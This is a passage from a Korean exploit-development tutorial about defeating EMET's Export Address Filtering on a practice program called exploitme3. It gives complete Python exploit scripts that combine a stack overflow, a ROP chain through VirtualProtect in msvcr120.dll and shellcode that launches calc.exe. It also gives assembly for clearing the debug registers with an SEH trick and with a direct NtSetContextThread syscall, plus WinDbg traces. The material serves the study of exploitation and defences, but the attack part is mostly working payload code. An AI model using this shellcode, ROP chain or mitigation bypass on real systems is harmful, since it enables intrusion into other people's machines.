"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" + "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" + "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" + "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" + "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" + "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" + "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" + "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" + "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" + "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" + "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" + "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" + "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" + "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" + "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" + "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" + "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" + "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" + "\x30\x03\xc6\xeb\xdd") disable_EAF = ( "\x33\xC0" + # xor eax,eax "\x0F\x23\xC0" + # mov dr0,eax "\x0F\x23\xC8" + # mov dr1,eax "\x0F\x23\xD0" + # mov dr2,eax "\x0F\x23\xD8" + # mov dr3,eax "\x0F\x23\xF0" + # mov dr6,eax "\x0F\x23\xF8" # mov dr7,eax ) code = disable_EAF + shellcode name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code f.write(name) write_file(r'c:\deleteme\name.dat') | cs |
exploitme3을 실행하면 영광스러운 충돌을 얻을 수 있습니다.
WinDbg로 프로그램을 열고 F5를 누릅니다. 실행은 single step exception 때문에 멈추게 됩니다. 이런 귀찮은 예외들을 무시하기 위해서는 WinDbg에게 first-chance single step exceptions 들을 무시하라고 알려주어야 합니다.
sxd sse
sse 는 Single Step Exception의 약자입니다.
이후, F5를 다시 하면 다른 예외가 발생하고 우리의 코드를 확인할 수 있습니다.
0034d64a 0f23c0 mov dr0,eax <-------------- exception generated here
0034d64d 0f23c8 mov dr1,eax
0034d650 0f23d0 mov dr2,eax
0034d653 0f23d8 mov dr3,eax
0034d656 0f23f0 mov dr6,eax
0034d659 0f23f8 mov dr7,eax
여기서 문제는 유저 모드 (ring 3)에서는 디버그 레지스터를 수정할 수 없다는 것입니다. 이것을 하기 위해서는 OS 에게 맡겨야 합니다.
디버그 레지스터들 초기화(2)
“mov dr0 privileged instruction” 을 구글링 하면 다음 페이지를 찾을 수 있습니다.
- http://www.symantec.com/connect/articles/windows-anti-debug-reference
저기에는 디버그 레지스터들을 수정하는 방법에 대해 찾을 수 있습니다. 방법으로는 예외 핸들러를 만들고 0으로 나누기 같은 예외를 발생 시키는 것입니다. 예외가 발생되면 윈도우즈는 예외 핸들러를 호출하고 CONTEXT 데이터 구조를 가리키는 포인터를 인자로 넘깁니다. CONTEXT 데이터 구조는 예외가 발생되었을 때의 레지스터 값들을 가지고 있습니다. 핸들러는 CONTEXT 데이터 구조에 있는 값을 변경할 수 있고, 핸들러가 끝나면 윈도우즈는 현재 레지스터들로 변경 할 것입니다. 이 방법을 이용하여 디버그 레지스터를 수정할 수 있습니다.
위 페이지에서 찾은 코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | push offset handler push dword ptr fs:[0] mov fs:[0],esp xor eax, eax div eax ;generate exception pop fs:[0] add esp, 4 ;continue execution ;... handler: mov ecx, [esp+0Ch] ;skip div add dword ptr [ecx+0B8h], 2 ;skip div mov dword ptr [ecx+04h], 0 ;clean dr0 mov dword ptr [ecx+08h], 0 ;clean dr1 mov dword ptr [ecx+0Ch], 0 ;clean dr2 mov dword ptr [ecx+10h], 0 ;clean dr3 mov dword ptr [ecx+14h], 0 ;clean dr6 mov dword ptr [ecx+18h], 0 ;clean dr7 xor eax, eax ret | cs |
C/C++ 코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | #include <Windows.h> #include <winnt.h> #include <stdio.h> int main() { CONTEXT context; printf("sizeof(context) = 0x%x\n", sizeof(context)); printf("contextFlags offset = 0x%x\n", (int)&context.ContextFlags - (int)&context); printf("CONTEXT_DEBUG_REGISTERS = 0x%x\n", CONTEXT_DEBUG_REGISTERS); printf("EIP offset = 0x%x\n", (int)&context.Eip - (int)&context); printf("Dr0 offset = 0x%x\n", (int)&context.Dr0 - (int)&context); printf("Dr1 offset = 0x%x\n", (int)&context.Dr1 - (int)&context); printf("Dr2 offset = 0x%x\n", (int)&context.Dr2 - (int)&context); printf("Dr3 offset = 0x%x\n", (int)&context.Dr3 - (int)&context); printf("Dr6 offset = 0x%x\n", (int)&context.Dr6 - (int)&context); printf("Dr7 offset = 0x%x\n", (int)&context.Dr7 - (int)&context); _asm { // Attach handler to the exception handler chain. call here here: add dword ptr [esp], 0x22 // [esp] = handler push dword ptr fs:[0] mov fs:[0], esp // Generate the exception. xor eax, eax div eax // Restore the exception handler chain. pop dword ptr fs:[0] add esp, 4 jmp skip handler: mov ecx, [esp + 0Ch]; skip div add dword ptr [ecx + 0B8h], 2 // skip the "div eax" instruction xor eax, eax mov dword ptr [ecx + 04h], eax // clean dr0 mov dword ptr [ecx + 08h], 0x11223344 // just for debugging! mov dword ptr [ecx + 0Ch], eax // clean dr2 mov dword ptr [ecx + 10h], eax // clean dr3 mov dword ptr [ecx + 14h], eax // clean dr6 mov dword ptr [ecx + 18h], eax // clean dr7 ret skip: } context.ContextFlags = CONTEXT_DEBUG_REGISTERS; GetThreadContext(GetCurrentThread(), &context); if (context.Dr1 == 0x11223344) printf("Everything OK!\n"); else printf("Something's wrong :(\n"); return 0; } | cs |
처음 부분은 EIP 의 오프셋을 출력과 디버그 레지스터들을 출력하여 어셈 코드의 오프셋이 정확한지 검증할 수 있습니다. 디버깅 용도로 dr1에 0x11223344를 넣었습니다. 마지막으로 GetThreadContext를 이용하여 우리의 방법이 동작할수 있도록 합니다.
그러나 이 방법은 SAFESEH 때문에 정상적으로 동작하지 못합니다. Visual Studio에서는 다음과 같은 경고 메시지를 보여줍니다.
1>c:\users\kiuhnm\documents\visual studio 2013\projects\tmp\tmp\tmp1.cpp(24): warning C4733: Inline asm assigning to 'FS:0' : handler not registered as safe handler
SAFESEH 를 비활성화 하려면 다음과 같이 설정합니다.
- Configuration Properties
- Linker
- Advanced
- Image Has Safe Exception Handler: No (/SAFESEH:NO)
그러면 프로그램이 정상적으로 동작함을 알 수 있습니다.
위 코드를 쉘코드에 넣으면 SAFESEH에 대한 문제가 발생하지 않습니다. 그 이유는 코드가 exploitme3의 이미지 내부에 있지 않고 스택에 있기 때문입니다.
name.dat을 생성하는 파이썬 스크립트는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 | import struct # The signature of VirtualProtect is the following: # BOOL WINAPI VirtualProtect( # _In_ LPVOID lpAddress, # _In_ SIZE_T dwSize, # _In_ DWORD flNewProtect, # _Out_ PDWORD lpflOldProtect # ); # After PUSHAD is executed, the stack looks like this: # . # . # . # EDI (ptr to ROP NOP (RETN)) # ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect)) # EBP (ptr to POP (skips EAX on the stack)) # ESP (lpAddress (automatic)) # EBX (dwSize) # EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE)) # ECX (lpOldProtect (ptr to writeable address)) # EAX (address of ptr to VirtualProtect) # lpAddress: # ptr to "call esp" # <shellcode> msvcr120 = 0x73c60000 # Delta used to fix the addresses based on the new base address of msvcr120.dll. md = msvcr120 - 0x70480000 def create_rop_chain(code_size): rop_gadgets = [ md + 0x7053fc6f, # POP EBP # RETN [MSVCR120.dll] md + 0x7053fc6f, # skip 4 bytes [MSVCR120.dll] md + 0x704f00f6, # POP EBX # RETN [MSVCR120.dll] code_size, # code_size -> ebx md + 0x704b6580, # POP EDX # RETN [MSVCR120.dll] 0x00000040, # 0x00000040-> edx md + 0x7049f8cb, # POP ECX # RETN [MSVCR120.dll] md + 0x705658f2, # &Writable location [MSVCR120.dll] md + 0x7048f95c, # POP EDI # RETN [MSVCR120.dll] md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll] md + 0x704eb436, # POP ESI # RETN [MSVCR120.dll] md + 0x70493a17, # JMP [EAX] [MSVCR120.dll] md + 0x7053b8fb, # POP EAX # RETN [MSVCR120.dll] md + 0x705651a4, # ptr to &VirtualProtect() [IAT MSVCR120.dll] md + 0x7053b7f9, # PUSHAD # RETN [MSVCR120.dll] md + 0x704b7e5d, # ptr to 'call esp' [MSVCR120.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) def write_file(file_path): with open(file_path, 'wb') as f: ret_eip = md + 0x7048f607 # RETN (ROP NOP) [MSVCR120.dll] shellcode = ( "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" + "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" + "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" + "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" + "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" + "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" + "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" + "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" + "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" + "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" + "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" + "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" + "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" + "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" + "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" + "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" + "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" + "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" + "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" + "\x30\x03\xc6\xeb\xdd") disable_EAF = ( "\xE8\x00\x00\x00\x00" + # call here (013E1008h) #here: "\x83\x04\x24\x22" + # add dword ptr [esp],22h ; [esp] = handler "\x64\xFF\x35\x00\x00\x00\x00" + # push dword ptr fs:[0] "\x64\x89\x25\x00\x00\x00\x00" + # mov dword ptr fs:[0],esp "\x33\xC0" + # xor eax,eax "\xF7\xF0" + # div eax,eax "\x64\x8F\x05\x00\x00\x00\x00" + # pop dword ptr fs:[0] "\x83\xC4\x04" + # add esp,4 "\xEB\x1A" + # jmp here+3Dh (013E1045h) ; jmp skip #handler: "\x8B\x4C\x24\x0C" + # mov ecx,dword ptr [esp+0Ch] "\x83\x81\xB8\x00\x00\x00\x02" + # add dword ptr [ecx+0B8h],2 "\x33\xC0" + # xor eax,eax "\x89\x41\x04" + # mov dword ptr [ecx+4],eax "\x89\x41\x08" + # mov dword ptr [ecx+8],eax "\x89\x41\x0C" + # mov dword ptr [ecx+0Ch],eax "\x89\x41\x10" + # mov dword ptr [ecx+10h],eax "\x89\x41\x14" + # mov dword ptr [ecx+14h],eax "\x89\x41\x18" + # mov dword ptr [ecx+18h],eax "\xC3" # ret #skip: ) code = disable_EAF + shellcode name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code f.write(name) write_file(r'c:\deleteme\name.dat') | cs |
이후, exploitme3을 실행하면 충돌이 발생 합니다. 뭔가 잘못한 것일까요?
WinDbg로 프로그램을 디버깅 해도록 하겠습니다. WinDbg에서 exploitme3.exe를 열고 F5를 누릅니다. 그러면 single step exception 와 유사한 내용을 얻게 되는데 위와 동일한 방법으로 sxd sse를 하고 F5로 다시 합니다. 그러면 우리가 기대했듯이, Integer devide-by-zero exception 을 얻게 됩니다.
(610.a58): Integer divide-by-zero - code c0000094 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0000017c ecx=89dd0000 edx=0021ddb8 esi=73c73a17 edi=73c6f607
eip=0015d869 esp=0015d844 ebp=73d451a4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
0015d869 f7f0 div eax,eax
이는 first chance exception 이기 때문에 F5를 다시 누르면 이 예외는 프로그램에 전달되게 됩니다. 그 전에 예외 chain을 보도록 하겠습니다.
0:000> !exchain
0015d844: 0015d877
0015ff50: exploitme3!_except_handler4+0 (00381739)
CRT scope 0, filter: exploitme3!__tmainCRTStartup+115 (003812ca)
func: exploitme3!__tmainCRTStartup+129 (003812de)
0015ff9c: ntdll!_except_handler4+0 (76f071f5)
CRT scope 0, filter: ntdll!__RtlUserThreadStart+2e (76f074d0)
func: ntdll!__RtlUserThreadStart+63 (76f090eb)
모든것이 정상적으로 보입니다.
F5를 누르면 다음 내용을 얻을 수 있습니다.
(610.a58): Integer divide-by-zero - code c0000094 (!!! second chance !!!)
eax=00000000 ebx=0000017c ecx=89dd0000 edx=0021ddb8 esi=73c73a17 edi=73c6f607
eip=0015d869 esp=0015d844 ebp=73d451a4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
0015d869 f7f0 div eax,eax
왜 프로그램이 예외를 처리를 하지 못하는 것일까요? 범인은 SafeSEH 였습니다.
제가 SafeSEH 모듈에 없는 핸들러는 충분하지 않다는걸 깜빡하고 있었습니다. 이는 스택도 포함됩니다!
디버그 레지스터들 초기화(3)
SafeSEH는 우회 할수도 있지만 하드코드된 주소를 사용할수 없으면 힘들고 결국 우리의 목적을 달성하지 못하게 됩니다.
저는 만약에 moreStack 배열을 이용하여 스택에 더이상 할당할 공간이 없을 때, 우리의 쉘코드가 예외 chain을 덮어 쓸수 있고 SEHOP가 우리의 익스플로잇을 멈추게 하는것을 추가하고 싶었습니다. SEHOP은 예외 chain의 마지막이 ntdll!_except_handler4임을 체크하는데 우리는 해당 핸들러의 주소를 모르면 예외 chain을 복원할수가 없습니다. 따라서 이 방법은 불가능합니다.
디버그 레지스터를 초기화 하는 다른 방법으로는 kernel32!SetThreadContext를 이용하는 것입니다. 우리는 이런 함수의 주소를 모르긴 하지만 아직 포기할수는 없습니다. 알다시피 SetThreadContext는 유저모드에서 디버그 레지스터를 초기화 할 수 없었기 때문에 어떤 방법으로 ring 0 서비스에 접근해야 합니다.
Ring 0 서비스들은 대게 인터럽트나 SYSENTER (Intel), SYSCALL(AMD) 같은 특정 CPU 명령에 의해 호출됩니다. 운좋게도 이런 서비스들은 보통 OS 에서 하드코드된 작은 상수들로 이루어져 있고 재부팅되거나 서비스팩 등이 갱신되어도 변하질 않습니다.
C/C++ 코드로 한 번 살펴보도록 하죠.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | #include <Windows.h> #include <stdio.h> int main() { CONTEXT context; context.ContextFlags = CONTEXT_DEBUG_REGISTERS; context.Dr0 = 0; context.Dr1 = 0; context.Dr2 = 0; context.Dr3 = 0; context.Dr6 = 0; context.Dr7 = 0; if (!SetThreadContext(GetCurrentThread(), &context)) printf("Error!\n"); else printf("OK!\n"); return 0; } | cs |
WinDbg로 위의 프로그램을 디버깅 합니다. kernel32!SetThreadContext에 breakpoint를 걸고 F5를 누릅니다. SetThreadContext는 굉장히 짧습니다.
kernel32!SetThreadContext:
764358d3 8bff mov edi,edi
764358d5 55 push ebp
764358d6 8bec mov ebp,esp
764358d8 ff750c push dword ptr [ebp+0Ch] <--------- 002df954 = &context
764358db ff7508 push dword ptr [ebp+8] <--------- 0xfffffffe = GetCurrentThread()
764358de ff15f8013b76 call dword ptr [kernel32!_imp__NtSetContextThread (763b01f8)]
764358e4 85c0 test eax,eax
764358e6 7d0a jge kernel32!SetThreadContext+0x1f (764358f2)
764358e8 50 push eax
764358e9 e846bdf7ff call kernel32!BaseSetLastNTError (763b1634)
764358ee 33c0 xor eax,eax
764358f0 eb03 jmp kernel32!SetThreadContext+0x22 (764358f5)
764358f2 33c0 xor eax,eax
764358f4 40 inc eax
764358f5 5d pop ebp
764358f6 c20800 ret 8
보시면 첫 번째 호출에서 두 개의 인자를 넘깁니다. 호출의 안쪽으로 들어 가보죠.
ntdll!ZwSetBootOptions:
76eb1908 b84f010000 mov eax,14Fh
76eb190d 33c9 xor ecx,ecx
76eb190f 8d542404 lea edx,[esp+4]
76eb1913 64ff15c0000000 call dword ptr fs:[0C0h]
76eb191a 83c404 add esp,4
76eb191d c20800 ret 8
ntdll!ZwSetContextThread: <------------------------ we are here!
76eb1920 b850010000 mov eax,150h
76eb1925 33c9 xor ecx,ecx
76eb1927 8d542404 lea edx,[esp+4]
76eb192b 64ff15c0000000 call dword ptr fs:[0C0h]
76eb1932 83c404 add esp,4
76eb1935 c20800 ret 8
ntdll!NtSetDebugFilterState:
76eb1938 b851010000 mov eax,151h
76eb193d b90a000000 mov ecx,0Ah
76eb1942 8d542404 lea edx,[esp+4]
76eb1946 64ff15c0000000 call dword ptr fs:[0C0h]
76eb194d 83c404 add esp,4
76eb1950 c20c00 ret 0Ch
76eb1953 90 nop
굉장히 흥미롭군요! 이게 뭘까요? 위아래로 각기 다른 EAX를 갖는 유사한 함수들을 볼 수 있습니다. 아마 EAX는 서비스 번호 입니다. ret 명령의 값은 넘겨진 인자의 수에 따라 결정됩니다.
edx는 스택에 있는 2개의 인자를 가리키고 있습니다.
0:000> dd edx L2
002df93c fffffffe 002df954
호출의 내부로 들어 가보죠.
747e2320 ea1e277e743300 jmp 0033:747E271E
상당히 흥미로운 far 점프 입니다. 해당 명령을 진행하면 call 명령 바로 다음에 위치하게 됩니다.
ntdll!ZwQueryInformationProcess:
76eafad8 b816000000 mov eax,16h
76eafadd 33c9 xor ecx,ecx
76eafadf 8d542404 lea edx,[esp+4]
76eafae3 64ff15c0000000 call dword ptr fs:[0C0h]
76eafaea 83c404 add esp,4 <--------------------- we are here!
76eafaed c21400 ret 14h
왜 이런일이 발생하고 far 점프는 무슨 목적일까요? 64비트 코드로 변환할 때 사용되는 걸까요? WinDbg 64비트 버전에서 이 과정을 반복한 뒤, 해당 점프는 여기로 오게 됩니다.
wow64cpu!CpupReturnFromSimulatedCode:
00000000`747e271e 67448b0424 mov r8d,dword ptr [esp] ds:00000000`0037f994=76eb1932
00000000`747e2723 458985bc000000 mov dword ptr [r13+0BCh],r8d
00000000`747e272a 4189a5c8000000 mov dword ptr [r13+0C8h],esp
00000000`747e2731 498ba42480140000 mov rsp,qword ptr [r12+1480h]
00000000`747e2739 4983a4248014000000 and qword ptr [r12+1480h],0
00000000`747e2742 448bda mov r11d,edx
우리가 맞았습니다. 호출을 따라 계속 진행하다 보면
00000000`747e276e 8bc8 mov ecx,eax
00000000`747e2770 ff150ae9ffff call qword ptr [wow64cpu!_imp_Wow64SystemServiceEx (00000000`747e1080)]
ecx는 150 이며 우리 서비스 번호 입니다. 더이상 깊게 들어갈 필요는 없을 것 같네요. 어쨋든, 결국 우리는 아래 코드에 다다르게 됩니다.
ntdll!NtSetInformationThread:
00000000`76d01380 4c8bd1 mov r10,rcx
00000000`76d01383 b80a000000 mov eax,0Ah
00000000`76d01388 0f05 syscall
00000000`76d0138a c3 ret
Ring 0 서비스를 호출하기 위해 2가지를 작업을 수행합니다.
1. 32 비트 ring 3 코드에서 64 비트 ring 3 코드 로 이동
2. 64 비트 ring 3 코드에서 64 비트 ring 0 코드 로 이동
전부 다뤄야 할 필요는 없고 이것만 알면 됩니다.
1. EAX를 0x150로 설정
2. ECX를 초기화
3. EDX가 우리의 인자를 가리키도록 함
4. fs:[0xc0]가 가리키는 곳을 호출
보시다시피, 이 코드는 ASLR에 영향이 없습니다.
최종적으로 디버그 레지스터를 초기화 할 수 있습니다.
mov eax, 150h
xor ecx, ecx
sub esp, 2cch ; makes space for CONTEXT
mov dword ptr [esp], 10010h ; CONTEXT_DEBUG_REGISTERS
mov dword ptr [esp + 4], ecx ; context.Dr0 = 0
mov dword ptr [esp + 8], ecx ; context.Dr1 = 0
mov dword ptr [esp + 0ch], ecx ; context.Dr2 = 0
mov dword ptr [esp + 10h], ecx ; context.Dr3 = 0
mov dword ptr [esp + 14h], ecx ; context.Dr6 = 0
mov dword ptr [esp + 18h], ecx ; context.Dr7 = 0
push esp
push 0fffffffeh ; current thread
mov edx, esp
call dword ptr fs : [0C0h] ; this also decrements ESP by 4
add esp, 4 + 2cch + 8
코드 마지막에 ESP를 복원하는데 이는 꼭 필요한건 아닙니다.
최종 파이썬 스크립트는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 | import struct # The signature of VirtualProtect is the following: # BOOL WINAPI VirtualProtect( # _In_ LPVOID lpAddress, # _In_ SIZE_T dwSize, # _In_ DWORD flNewProtect, # _Out_ PDWORD lpflOldProtect # ); # After PUSHAD is executed, the stack looks like this: # . # . # . # EDI (ptr to ROP NOP (RETN)) # ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect)) # EBP (ptr to POP (skips EAX on the stack)) # ESP (lpAddress (automatic)) # EBX (dwSize) # EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE)) # ECX (lpOldProtect (ptr to writeable address)) # EAX (address of ptr to VirtualProtect) # lpAddress: # ptr to "call esp" # <shellcode> msvcr120 = 0x73c60000 # Delta used to fix the addresses based on the new base address of msvcr120.dll. md = msvcr120 - 0x70480000 def create_rop_chain(code_size): rop_gadgets = [ md + 0x7053fc6f, # POP EBP # RETN [MSVCR120.dll] md + 0x7053fc6f, # skip 4 bytes [MSVCR120.dll] md + 0x704f00f6, # POP EBX # RETN [MSVCR120.dll] code_size, # code_size -> ebx md + 0x704b6580, # POP EDX # RETN [MSVCR120.dll] 0x00000040, # 0x00000040-> edx md + 0x7049f8cb, # POP ECX # RETN [MSVCR120.dll] md + 0x705658f2, # &Writable location [MSVCR120.dll] md + 0x7048f95c, # POP EDI # RETN [MSVCR120.dll] md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll] md + 0x704eb436, # POP ESI # RETN [MSVCR120.dll] md + 0x70493a17, # JMP [EAX] [MSVCR120.dll] md + 0x7053b8fb, # POP EAX # RETN [MSVCR120.dll] md + 0x705651a4, # ptr to &VirtualProtect() [IAT MSVCR120.dll] md + 0x7053b7f9, # PUSHAD # RETN [MSVCR120.dll] md + 0x704b7e5d, # ptr to 'call esp' [MSVCR120.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) def write_file(file_path): with open(file_path, 'wb') as f: ret_eip = md + 0x7048f607 # RETN (ROP NOP) [MSVCR120.dll] shellcode = ( "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" + "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" + "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" + "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" + "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" + "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" + "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" + "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" + "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" + "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" + "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" + "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" + "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" + "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" + "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" + "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" + "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" + "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" + "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" + "\x30\x03\xc6\xeb\xdd") disable_EAF = ( "\xB8\x50\x01\x00\x00" + # mov eax,150h "\x33\xC9" + # xor ecx,ecx "\x81\xEC\xCC\x02\x00\x00" + # sub esp,2CCh "\xC7\x04\x24\x10\x00\x01\x00" + # mov dword ptr [esp],10010h "\x89\x4C\x24\x04" + # mov dword ptr [esp+4],ecx "\x89\x4C\x24\x08" + # mov dword ptr [esp+8],ecx "\x89\x4C\x24\x0C" + # mov dword ptr [esp+0Ch],ecx "\x89\x4C\x24\x10" + # mov dword ptr [esp+10h],ecx "\x89\x4C\x24\x14" + # mov dword ptr [esp+14h],ecx "\x89\x4C\x24\x18" + # mov dword ptr [esp+18h],ecx "\x54" + # push esp "\x6A\xFE" + # push 0FFFFFFFEh "\x8B\xD4" + # mov edx,esp "\x64\xFF\x15\xC0\x00\x00\x00" + # call dword ptr fs:[0C0h] "\x81\xC4\xD8\x02\x00\x00" # add esp,2D8h ) code = disable_EAF + shellcode name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code f.write(name) write_file(r'c:\deleteme\name.dat') | cs |
이제 exploitme3.exe를 실행하면 계산기가 떠진 것을 확인할 수 있습니다! 우리는 EAF를 우회했습니다! 또한 EAF+를 활성화 시켜도 별 다른게 없기 때문에 가능합니다.
MemProt
우리는 익스플로잇 코드에서 쉘코드를 가지고 있는 스택 실행 권한을 위해 VirtualProtect를 사용했습니다. MemProt은 이에 대한 완벽한 보호 기법입니다. exploitme3.exe에 대해 이 보호 기법을 활성화 시켜 봅시다. 그리고 exploitme3.exe를 실행하면 MemProt이 우리의 익스플로잇을 멈추고 충돌을 발생시킵니다.
